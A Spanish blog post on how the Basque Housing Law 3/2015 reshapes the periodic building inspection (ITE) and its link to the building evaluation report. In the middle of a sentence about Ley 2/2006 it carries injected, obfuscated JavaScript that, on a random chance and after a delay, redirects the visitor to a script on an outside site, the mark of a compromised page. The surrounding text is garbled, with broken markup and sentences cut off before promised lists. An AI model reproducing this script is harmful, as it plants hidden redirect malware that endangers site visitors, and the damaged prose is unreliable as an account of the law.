[Ley de vivienda] Como ha quedado la ITE con la Ley de Vivienda?
Las idas y venidas de la ITEto_aerea_bilbao” width=”700″ height=”432″ />
En no pocas ocasiones hemos centrado nuestra atención en las actuaciones de regeneración, pero ello no tiene que hacernos olvidar otro de los instrumentos que la L3R concibió como elemento de intervención sobre el medio urbano, el Informe de Evaluación de Edificio (IEE). El IEE es un mecanismo de análisis del estado de conservación, del cumplimiento de las disposiciones en materia de accesibilidad universal e información sobre la calificación de la eficiencia energética, si bien nuestra Ley 2/2006 (LvSU) ya incorporaba este instrumento mediante la inspección periódica de construcciones y edificios ($NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tos/2014/04/1401642a.pdf” target=”_blank”>Resolución de 12 de marzo de 2014, del Viceconsejero de Régimen Jurídico, por la que se dispone la publicación del Acuerdo de la Comisión Bilateral de Cooperación Administración del Estado-Administración de la Comunidad Autónoma del País Vasco en relación con la Ley 8/2013, de 26 de junio, de Rehabilitación, Regeneración y Renovación Urbanas.
Ahora bien, la reciente Ley 3/2015 de Vivienda (LvVIV) ha traído consigo algunas novedades, sin que nadie las haya pedido y sin que tengan un criterio digamos que “racional”. Porque ¿qué distingue dos edificios contiguos, uno de uso de vivienda y otro de cualquier otro uso, indistintamente de su titularidad, a los efectos de tener que cumplir los deberes de conservación, garantía de accesibilidad y mejora de su comportamiento energético?, casi seguro que nada, pero entonces ¿por qué limitar el ámbito de sujeción de la ITE al uso estrictamente residencial?
Por otro lado, ¿qué habrá llevado a sus señorías a desvincular la ITE con los instrumentos de información del mantenimiento de los edificios (Libro del Edificio y/o Libro de Uso y Mantenimiento)?, ¿Será que quieren ahorrar a los pobres señores propietarios de conocer sus deberes programados de conservación? (con lo que ha costado desarrollar estas herramientas!).
Pues bien, la Ley de Vivienda ha introducido las siguientes variaciones sustantivas con respecto al régimen jurídico anterior al derogar el art 200 de la LvSU (
Así, a modo de descripción sintética, la ITE en el País Vasco queda regulada de la siguiente manera: Conclusión, parece ya que tenemos un marco estable para su aplicación (cuestión que ha suscitado no pocas controversias), ¿estamos preparados para su aplicación?
Álvaro Cerezo
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